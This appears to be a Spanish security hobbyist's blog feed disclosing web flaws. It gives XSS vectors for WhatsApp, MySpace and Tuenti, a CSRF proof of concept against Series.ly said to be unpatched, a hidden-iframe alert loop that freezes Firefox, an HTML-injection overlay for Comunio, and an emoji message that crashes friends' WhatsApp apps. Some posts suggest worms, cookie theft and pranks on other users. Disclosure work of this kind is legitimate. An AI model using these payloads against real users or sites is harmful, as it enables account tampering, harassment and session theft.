Y ya sabéis, si estáis dentro de un script no cerréis para luego volver a abrir el vuestro.. Aprovechad las facilidades que ya nos dan!<br />
<br />
IMPORTANTE: La vulnerabilidad en Series.ly fue reportada pero no he recibido respuesta ni ha sido reparada. Así que no me hago responsable de lo que hagan los lectores con los conocimientos que se muestran aquí.<br />
<br />
Espero les haya gustado y gracias por leer. :)Anonymoushttp://www.blogger.com/profile/11533511974431956943noreply@blogger.com0tag:blogger.com,1999:blog-2920363949461002743.post-73686334411123109932013-02-06T14:46:00.000+01:002013-02-06T14:46:46.245+01:00API de Tuenti en Python!Buenas Tardes a todos!<br />
<div>
Hace algún tiempo que llevo preparando una API en Python para Tuenti. Ya esta bastante avanzada y he decidido sacarla hoy para que todo el que quiera pueda usarla!</div>
<div>
<br /></div>
<div>
Acepto criticas constructivas. No soy experto en Python y hacer esta API ha sido una excusa para ir aprendiendo este lenguaje. Quizá sea mejorable, y haya formas mas fáciles de hacer las cosas e incluso estoy seguro de que puede mejorarse mucho esta API. Así que todo el que tenga ideas y mejoras para la API serán bien recibidas para mejorar todo lo posible la API.</div>
<div>
<br /></div>
<div>
Espero que les sea útil y espero que escriban comentando si les ha servido, o si creen que algo puede mejorarse o añadirse algo.</div>
<div>
<br /></div>
<div>
Les dejo el link para que puedan ver mi trabajo: <a href="https://github.com/segura2010/Tuenti-for-Python" target="_blank">Tuenti for Python</a></div>
<div>
<br /></div>
<div>
Muchas Gracias por leer!</div>
Anonymoushttp://www.blogger.com/profile/11533511974431956943noreply@blogger.com7tag:blogger.com,1999:blog-2920363949461002743.post-83386348925746511772013-01-31T11:43:00.000+01:002013-01-31T11:43:40.788+01:00#NewTuenti #NuevoTuenti XSSBuenas a todos!<br />
Como sabréis, Tuenti esta preparando su rediseño. De momento esta en versión Beta para que el que quiera pueda ir viendo como va quedando. Hace tiempo habilitaron los eventos en el #NuevoTuenti, y como es de esperar había XSS por todos lados... aunque ya los corrigieron. Hace poco han habilitado las páginas de Tuenti, que como os imaginareis tienen sus bonitos XSS..<br />
El XSS del que os voy a hablar es el siguiente:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4dc3sWHUh4OEpnT9z1Fk5uhYcyeYbj4lw_jWino27IrBG5AUT_p5xRhrqxe9qhVkK2sCySSmiExxFzaudH__bBcxKt1mGyhL7MT6WVEeYQ9_zQ-Xa7Zx2BwCiATm65UteznTL3dP5O9I/s1600/tuentiXSSed.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4dc3sWHUh4OEpnT9z1Fk5uhYcyeYbj4lw_jWino27IrBG5AUT_p5xRhrqxe9qhVkK2sCySSmiExxFzaudH__bBcxKt1mGyhL7MT6WVEeYQ9_zQ-Xa7Zx2BwCiATm65UteznTL3dP5O9I/s320/tuentiXSSed.png" width="320" /></a></div>
<br />
El XSS se produce por que no se filtra el nombre de la página al usarlo en la frase: "(Nombre de la página) aún no ha compartido ningún momento."<br />
<br />
Os dejo un link directo a la página del PoC: <a href="http://www.tuenti.com/#m=Page&func=index&page_key=1_2661_67450625" target="_blank">http://www.tuenti.com/#m=Page&func=index&page_key=1_2661_67450625</a><br />
<br />
Recordad que solamente se ejecutará el alert si tenéis activado el #NuevoTuenti.<br />
<br />
Para acabar solamente decir que una red social con tantos usuarios y que quiere crecer más, creo que es una vergüenza que le pasen estas cosas.. Esta claro que un descuido lo tiene cualquiera, pero es que Tuenti SIEMPRE tiene descuidos con todas las nuevas funciones que van sacando. No demuestran tener ni una mínima preocupación por la seguridad del usuario. Creo que es algo tan simple como una función sencillita que simplemente se llama y se le pasa como argumento una cadena y la devulve arreglada. No es más, pero parece que les cuesta trabajo. Esperan a que les envíes el fallo y ya si eso lo arreglan, sino pues nada...<br />
<br />
Así que nada, gracias por leer y hasta la próxima! :)<br />
<br />
ATENCIÓN: No me hago responsable de lo que se haga con la información aquí publicada. Yo simplemente informo y lo que hagan los que leen es su responsabilidad.Anonymoushttp://www.blogger.com/profile/11533511974431956943noreply@blogger.com3tag:blogger.com,1999:blog-2920363949461002743.post-18721035736505635062013-01-28T21:04:00.000+01:002013-01-28T21:04:17.610+01:00XSRF Series.lyHola a todos!<br />
Despues de un tiempo sin escribir, liado preparando examenes, he hecho un hueco para enseñarles una vulnerabilidad XSRF o CSRF en Series.ly.<br />
<br />
Un XSRF consiste en que una web no comprueba si la petición se realiza desde ella misma, es decir, confía en que el usuario hace la petición desde alguna parte de la web propia web. La web simplemente hace uso de la cookies para aplicar los cambios al usuario que lo solicita. De este modo, podemos hacer una web maliciosa que realice una petición para cambiar datos o publicar algo en nombre del usuario. Si el usuario tiene abierta una sesión la web aceptará la petición y realizará los cambios.<br />
<br />
Espero haberme explicado.. sino os recomiendo preguntar a Wikipedia o Google ;)<br />
<br />
Bueno pues como digo, la web Series.ly tiene una vulnerabilidad XSRF, asique he hecho un PoC para que vean como funciona.<br />
Si entran a su cuenta de Series.ly y con la sesión abierta entran a este link que he preparado:<br />
<a href="http://segura2010.16mb.com/poc/seriesly.html" target="_blank">http://segura2010.16mb.com/poc/seriesly.html</a><br />
<br />
Entonces al entrar, sus datos (concretamente el nombre, el apellido, y el Código Postal) cambiarán.<br />
Imaginen que les pasan un link y no saben que cambia los datos, de manera oculta los esta cambiando pero no se dan cuenta.. Estos ataques son peligrosos e interesantes.<br />
<br />
El enlace de arriba con el PoC, lo que hace es cargar un iframe oculto que es el que envía la petición.<br />
<br />
Espero que se haya entendido :)<br />
Les dejo el código de los dos archivos html del PoC para que vean como funciona:<br />
<a href="https://github.com/segura2010/XSRF-PoC/blob/master/Series.ly%20XSRF%20PoC" target="_blank">https://github.com/segura2010/XSRF-PoC/blob/master/Series.ly%20XSRF%20PoC</a><br />
<br />
Cualquier duda o sugerencia dejenlo en los comentarios.<br />
<br />
Gracias por leer! :)Anonymoushttp://www.blogger.com/profile/11533511974431956943noreply@blogger.com0tag:blogger.com,1999:blog-2920363949461002743.post-61371842315382598052013-01-15T18:14:00.003+01:002013-01-16T16:24:11.145+01:00Vulnerabilidad XSS en el Nuevo MyspaceBuenas Tardes!<br />
Hace poco me he enterado que habian activado el nuevo diseño de MySpace, asique para descansar un poco de estudiar he entrado a verlo.. y me he encontrado un bonito XSS persistente.<br />
<br />
El XSS proviene de que no se filtra correctamente la direccion de la pagina web que puedes añadir a tu perfil de mySpace. Solo se filtran las etiquetas HTML.. De modo que si jugamos con las comillas y los eventos Javascript.. tenemos el siguiente vector:<br />
<span style="background-color: #999999;">""onmouseover="alert('XSS')"</span><br />
<br />
No se muy bien por que pero se deben poner dos comillas al principio, ya que una se pierde (probablemente en algún filtro).<br />
Os dejo una imagen:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipCUH7y37MBbpYNmvIfJyJds9n2XR61q9niL8wmBMBg4rYZEecOPxLpb_ANqxwu5vJVYQ-XnDC-20vtHRRACe0tRKPJ7vTU8iYytUprHqjCAll7bpM7Aeggu1kJhcoFvwillQ6ofeH1uc/s1600/myspace.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipCUH7y37MBbpYNmvIfJyJds9n2XR61q9niL8wmBMBg4rYZEecOPxLpb_ANqxwu5vJVYQ-XnDC-20vtHRRACe0tRKPJ7vTU8iYytUprHqjCAll7bpM7Aeggu1kJhcoFvwillQ6ofeH1uc/s320/myspace.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Como veis el código se ejecuta en la pagina de nuestro perfil al pasar el ratón por encima del enlace a nuestra web. Al principio puede parecer poco "útil" pero si ademas de un evento javascript le añadimos un poco de CSS (usando la propiedad style="position:fixed;top:0px;....") podemos tener un enlace que ocupe toda la web, invisible, y tenemos muy fácil que se pase por encima el ratón y se ejecute el javascript. Y así tenemos un XSS permanente que puede ir muy bien para por ejemplo hacer un bonito Worm.. ya que el XSS se ejecuta al ver nuestro perfil.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
ACTUALIZACIÓN: También es vulnerable a este vector de XSS en los titulos de los "Mixes". Al usar el título del "Mix" para crear un boton.</div>
<div class="separator" style="clear: both; text-align: left;">
Imagen:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKOcj2KOhMid6vJ2Xd9FCcN0rmPFNc7irSCb2vNVKg8DjCyz6nhYqia-IVJ0gzOUr_OfD3Io737KP0z1pChXMPSP_4pFr9s7NaZdEml6cnPdFONs2BSmJzCIkgHaCAQ226McuxrOmBePk/s1600/myspaceMix.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKOcj2KOhMid6vJ2Xd9FCcN0rmPFNc7irSCb2vNVKg8DjCyz6nhYqia-IVJ0gzOUr_OfD3Io737KP0z1pChXMPSP_4pFr9s7NaZdEml6cnPdFONs2BSmJzCIkgHaCAQ226McuxrOmBePk/s320/myspaceMix.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<strike>ATENCIÓN: No me hago responsable del uso que se le de a la información publicada en este blog. Esta información tiene como objetivo APRENDER y NO PERJUDICAR de NINGÚN modo a nadie.</strike></div>
<div class="separator" style="clear: both; text-align: left;">
<strike><br /></strike></div>
<div class="separator" style="clear: both; text-align: left;">
<strike>Esta vulnerabilidad no ha sido arreglada por mySpace. Y tampoco he encontrado por ningún sitio una forma de ponerme en contacto con mySpace para reportar la vulnerabilidad. Si quieren que reporten vulberabilidades que pongan a la vista un lugar al que reportar.</strike></div>
<div class="separator" style="clear: both; text-align: left;">
<strike><br /></strike></div>
<div class="separator" style="clear: both; text-align: left;">
Actualización: Myspace ha arreglado las vulnerabilidades XSS.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Actualización:</div>
<div class="separator" style="clear: both; text-align: left;">
<a href="http://twitter.com/vlycser" target="_blank">@vlycser</a> ha encontrado otra vulnerabilidad XSS en el buscador de Myspace.</div>
<div class="separator" style="clear: both; text-align: left;">
Imagen: <a href="https://twitter.com/vlycser/status/291555671785209856" target="_blank">https://twitter.com/vlycser/status/291555671785209856</a></div>
<div class="separator" style="clear: both; text-align: left;">
(Comentarios)</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Gracias por leer! :)</div>
Anonymoushttp://www.blogger.com/profile/11533511974431956943noreply@blogger.com2tag:blogger.com,1999:blog-2920363949461002743.post-74724018683991153672013-01-13T12:19:00.003+01:002013-01-13T12:20:31.678+01:00XSS en WhatsAppBuenos días!<br />
Hoy os traigo un XSS no persistente en la web de Whatsapp. Se encuentra en el buscador de preguntas frecuentes (FAQ).<br />
<br />
Os dejo la imagen:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfARLA8Tvrr1xgSfY4OT6JjFcaeLcO1gNwVjxoqWKL8Z5nLSMBCjHp_pdbEST47AzDZx0fI6Mv9BdJ_0eJL1JpUDQD-LOrnJ-cjG5qgb1y5EMP5kAkUspcNSEIhOgfh0BUkAbVfyx9NiY/s1600/whatsapp.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfARLA8Tvrr1xgSfY4OT6JjFcaeLcO1gNwVjxoqWKL8Z5nLSMBCjHp_pdbEST47AzDZx0fI6Mv9BdJ_0eJL1JpUDQD-LOrnJ-cjG5qgb1y5EMP5kAkUspcNSEIhOgfh0BUkAbVfyx9NiY/s320/whatsapp.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<i style="font-size: 11px;">Clic para ver mas grande</i></div>
<br />
Como podéis ver nos mete la consulta dentro de un script, asique si cerramos las comillas y paréntesis necesarios conseguiremos ejecutar cualquier codigo javascript en cualquier navegador, ya que usando este vector no funcionan los filtros anti XSS de los navegadores.<br />
<br />
El vector de ataque es el siguiente:<br />
<span style="background-color: #cccccc;">");alert("XSS");</script></span><br />
<span style="background-color: #cccccc;"><br /></span>
<span style="background-color: white;">Como podeis ver primero se cierran las comillas , luego los parentesis y finalmente añadimos un ";" para cerrar la instrucción. Y a partir de ahí insertamos nuestro código.</span><br />
<span style="background-color: white;"><br /></span>
<span style="background-color: white;">¿Para que generar un script si ya nos dejan dentro de uno? Que aprovechándolo tenemos un XSS valido para cualquier navegador.</span><br />
<span style="background-color: white;"><br /></span>
<span style="background-color: white;">El fallo no esta arreglado asique os dejo la url para que lo veáis: </span><a href="http://www.whatsapp.com/faq/search/?q=%22);alert(%22Whatsapp%20XSS%20by%20@segura201093%22);%3C/script%3E" target="_blank">http://www.whatsapp.com/faq/search/?q=%22);alert(%22Whatsapp%20XSS%20by%20@segura201093%22);%3C/script%3E</a><br />
<br />
Esta vulnerabilidad junto con algún exploit, como por ejemplo el 0day que ha salido recientemente de Java se puede usar para por ejemplo crear un iframe oculto y enviar el enlace a una victima. Al ser un enlace a la web de Whatsapp la victima no sospechará.<br />
<br />
Una prueba mas de que Whatsapp se toma en serio la seguridad. ;)<br />
<br />
Gracias por leer.Anonymoushttp://www.blogger.com/profile/11533511974431956943noreply@blogger.com0tag:blogger.com,1999:blog-2920363949461002743.post-60856614498478232452013-01-09T14:55:00.000+01:002013-01-09T14:55:38.234+01:00Vulnerabilidad XSS en TwitterBuenas Tardes a todos!!<br />
Despues de algún tiempo sin escribir, hoy os traigo una pequeña vulnerabilidad XSS en Twitter. Hace algún tiempo que la encontré y a través de mi cuenta en twitter avisé que en cuanto el fallo estuviese corregido lo publicaría aquí.<br />
<br />
El fallo se encuentra en la ventanita que se nos abre para agregar a un usuario a una lista de Twitter, concretamente es el nombre de la lista lo que no se filtra y hace que si este contiene código se ejecute.<br />
Aquí una imagen, que vale mas que mil palabras ;)<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8cl9sa8TisG_TJbHSvHakUahb8wPSRk7j17r7FiODFTOy8mL8QFF8dCCWyFvE1Q0Xx7x_ndxhQhyphenhyphenOlRlSs8k14ROp_1gXNSbecPk2S0fJ-zCPlZmOJjxV_LUILmHPZYmrTlEnQUzA3GM/s1600/twitter+lists+issue.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8cl9sa8TisG_TJbHSvHakUahb8wPSRk7j17r7FiODFTOy8mL8QFF8dCCWyFvE1Q0Xx7x_ndxhQhyphenhyphenOlRlSs8k14ROp_1gXNSbecPk2S0fJ-zCPlZmOJjxV_LUILmHPZYmrTlEnQUzA3GM/s320/twitter+lists+issue.png" width="320" /></a></div>
<div align="center">
<i style="font-size: 8px;">Clic para ver más grande</i></div>
<br />
<br />
La vulnerabilidad es complicada de explotar, ya que, como podeis comprobar, los nombres de listas no pueden superar los 25 caracteres y es necesario que la "victima" intente agregar a la lista a algún usuario. Aún así es un XSS.<br />
<br />
Como agradecimiento Twitter me añadió a su Hall of Fame de Seguridad, o como ellos lo llaman "WhiteHat List". Podéis verlo aquí: <a href="https://twitter.com/about/security" target="_blank">https://twitter.com/about/security</a> (Al final del año 2012).<br />
<br />
Y esto es todo por hoy! Gracias por leer! :)Anonymoushttp://www.blogger.com/profile/11533511974431956943noreply@blogger.com0tag:blogger.com,1999:blog-2920363949461002743.post-796071168118064162012-12-20T18:36:00.000+01:002012-12-20T18:36:03.049+01:00Enfadando a usuarios de Mozilla Firefox }xDBueno, hoy os dejo una entrada cortita y simple, pero es mejor que nada }:)<br />
<br />
Hace algún tiempo quise hacer una pequeña web de broma que no te dejase salir de ella haciendo que saliesen infinitos "alerts" de javascript.. El problema es que los nuevos navegadores al aparecer el primer alert te dan la posibilidad de bloquear los siguientes.. }:(<br />
<br />
Asique me de di cuenta de que si el alert se carga a través de un iframe y de una pagina diferente a la de los demás alert el navegador no los bloquea.. Así que con un poco de creación dinámica de webs y javascript podemos hacer lo siguiente:<br />
<br />
Con Javascript nos hacemos un bucle infinito o finito, como cada uno quiera, y en este bucle vamos creando nuevos "iframes", y usando la creación dinámica de webs hacemos que ese iframe contenga un alert. Os dejo el código para que lo entendáis mejor:<br />
<br />
<span style="background-color: #999999;"><script><br /><br />function poc(){<br /> for(i=1;i<21;i++){<br /> var iframe = document.createElement("iframe");<br /> iframe.id = i;<br /> iframe.style.display="none";<br /> iframe.src = 'data:text/html;base64,PHNjcmlwdD5hbGVydCgiT2xhIGsgYXNlPyIpPC9zY3JpcHQ+';<br /> document.body.appendChild(iframe);<br /> }<br />}<br /><br /></script></span><br />
<br />
Como podéis ver en la propiedad "src" le metemos el código para la creacion dinámica de la web en base64. El código en base64 basicamente el javascript del alert, creo recordar que era algo así:<br />
<span style="background-color: #999999;"><script> alert("Hola"); </script></span><br />
<br />
Ese es el código que contiene codificado en base64.<br />
Bien, pues usando esto en una web, tendremos muchos iframes, hacia webs diferentes que cargan un alert, y el navegador no puede bloquear los alerts.<br />
Y no solo no puede bloquearlos, sino que en Mozilla Firefox es el navegador el que se queda bloqueado y no responde, teniendo que reiniciar el navegador... Como veis esto último ha sido lo que quería enseñaros de verdad.. }xD<br />
<br />
Os dejo un link para que veáis esto en funcionamiento: <a href="http://segura2010.16mb.com/iphone">http://segura2010.16mb.com/iphone</a><br />
<br />
Y hasta aquí la entrada de hoy, no tan dedicada a la seguridad, pero creo que es algo interesante y divertido para pasarselo a tus amigos.Anonymoushttp://www.blogger.com/profile/11533511974431956943noreply@blogger.com0tag:blogger.com,1999:blog-2920363949461002743.post-66300786641267687902012-12-17T01:14:00.000+01:002012-12-17T01:15:19.554+01:00"Jugando" con ComunioBuenas a todos, hoy os hablaré de Comunio, un juego de futbol que... no tengo ni p*** idea de como va, pero como lo conozco de ver gente que juega pues dije "Vamos a ver que cosilla chulas se pueden hacer!". Y aquí estoy, contándoos que he encontrado en el. :)<br />
<br />
No ha sido mucho, ya que no he conseguido ningun XSS, pero si que he encontrado HTML Injection, que consiste en lo mismo que el XSS pero en este caso no se puede usar JavaScript. Así que aprovechando que se pueden meter etiquetas HTML como DIV, IMG o MARQUEE pues se me ocurrió contaroslo y echar un rato divertido ;)<br />
<br />
Aquí os dejo un bonito DIV, que jugando con las propiedades CSS, puede ser divertido y molesto para otros usuarios de nuestra liga.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1dNK1i6EOWb1c3vCD9ewaNP1grN-gYGLqOKr9AX0RVAXOgt0_9CS8KG4AgNjQisoeb2uJ1Mquq6BLrA74dT7_QCqV0y70ePQM64STUHBDeeE2d90aq5QpIkWcZmxpGOALpF490KDy_A4/s1600/Captura+de+pantalla+de+2012-12-17+00:57:06.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="222" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1dNK1i6EOWb1c3vCD9ewaNP1grN-gYGLqOKr9AX0RVAXOgt0_9CS8KG4AgNjQisoeb2uJ1Mquq6BLrA74dT7_QCqV0y70ePQM64STUHBDeeE2d90aq5QpIkWcZmxpGOALpF490KDy_A4/s400/Captura+de+pantalla+de+2012-12-17+00:57:06.png" width="400" /></a></div>
<br />
Esto se consigue en el panel de noticias, agregáis vuestra noticia con el código deseado y voila! A divertirse!<br />
También se puede personalizar así vuestro perfil o el de vuestra liga colocando código en la descripción. <br />
Os pego el código que usé yo:<br />
<blockquote class="tr_bq">
<span style="background-color: #999999;"><div style="width:100%;height:100%;z-index:999999999999px;top:0px;left:0px;position:fixed;background-color:black;font-size:40px;display:block;"><br><br><br><div align="center">i am sorry!<br><br><br><img src="http://4.bp.blogspot.com/-NTJjX7MtWfo/T_iaJCa1fuI/AAAAAAAABfc/fBFDwDzmecA/s1600/xdpin-752278.jpg"></div></div></span></blockquote>
<br />
También se pueden tomar prestadas la cookies haciendo uso de enlaces con código de creación dinámica de webs, es decir, enlaces del tipo:<br />
<blockquote class="tr_bq">
<span style="background-color: #666666;"><a href="data:text/html;base64,codigo_HTML_codificado_en_base64">Link</a></span></blockquote>
<br />
Podéis ver más información de estos tipos de enlaces y demás en esta entrada del gran Chema Alonso: <a href="http://www.elladodelmal.com/2012/12/roundcube-ii-nuevos-vectores-para.html" target="_blank"> http://www.elladodelmal.com/2012/12/roundcube-ii-nuevos-vectores-para.html</a><br />
<br />
Y por hoy esto es todo, a ver si esta navidad tengo algo de tiempo para dejaros mas entradas. Miraré a ver si encuentro algún XSS chulo en Comunio!<br />
No seáis malos! :PAnonymoushttp://www.blogger.com/profile/11533511974431956943noreply@blogger.com3tag:blogger.com,1999:blog-2920363949461002743.post-83324480067086093792012-12-12T19:36:00.000+01:002012-12-12T19:36:33.338+01:00Guarda los tweets de cualquier usuarioBueno, hoy os traigo una pequeña utilidad escrita en Python y hecha por mi para que podais descargar los tweets del usuario que querais.<br />
<br />
Os dejo el enlace al repositorio en GitHub: <a href="https://github.com/segura2010/Saving-Tweets">https://github.com/segura2010/Saving-Tweets</a><br />
<br />
Soy novato programando en Python, si tenéis recomendaciones para mejorar la utilidad comentadlo! :)Anonymoushttp://www.blogger.com/profile/11533511974431956943noreply@blogger.com1tag:blogger.com,1999:blog-2920363949461002743.post-86554824775254992122012-11-28T14:55:00.003+01:002012-11-28T16:07:13.707+01:00"Rompiendo" el Whatsapp de tus amigos.Buenas a todos!<br />
Hoy os voy a enseñar como dejar pillado el Whatsapp a tus contactos. Esto se produce por un fallo en la programación de Whatsapp que produce que cuando enviamos cierto mensaje cargado de emoticonos la app empieza a ir muy lenta y tenemos que salir de ella. Esto es una buena forma de gastar algunas bromas a nuestros amigos, ya que puede ser realmente molesto, pues no basta con cerrar la app, sino que deberás de reinstalarla o eliminar el historial para que la app no cargue mas el mensaje.<br />
<br />
Antes que nada decir que la app se queda pillada en telefonos Android, en iPhone (iOS) solamente se cierra la app cuando entramos a la conversación en la que se encuentra el mensaje. No he podido probarlo en otros sistemas.<br />
<br />
Y ahora os dejo la imagen del mensaje que debeis enviar:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://dl.dropbox.com/u/60013026/whatsapp_crash.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://dl.dropbox.com/u/60013026/whatsapp_crash.png" height="320" width="213" /></a></div>
<br />
Ese es el mensaje que debes enviar, esos emoticonos (negro y blanco, negro y blanco) una y otra vez, cuantas mas mejor (en un mismo mensaje)!<br />
<br />
ACTUALIZACION: Para los que no teneis esos emoticonos os los dejo en este tuit para que los copiéis y peguéis directamente: <a href="https://twitter.com/segura201093/status/273804873185763328">https://twitter.com/segura201093/status/273804873185763328</a><br />
<br />
Creo que con otro también funciona, pero no estoy seguro.<br />
<br />
Y esto es todo por hoy! No seais malos y no hagais muchas bromas con esto!! :P<br />
<br />
PD: Agradecería que comentaseis si os ha funcionado en otras plataformas y demás :)Anonymoushttp://www.blogger.com/profile/11533511974431956943noreply@blogger.com0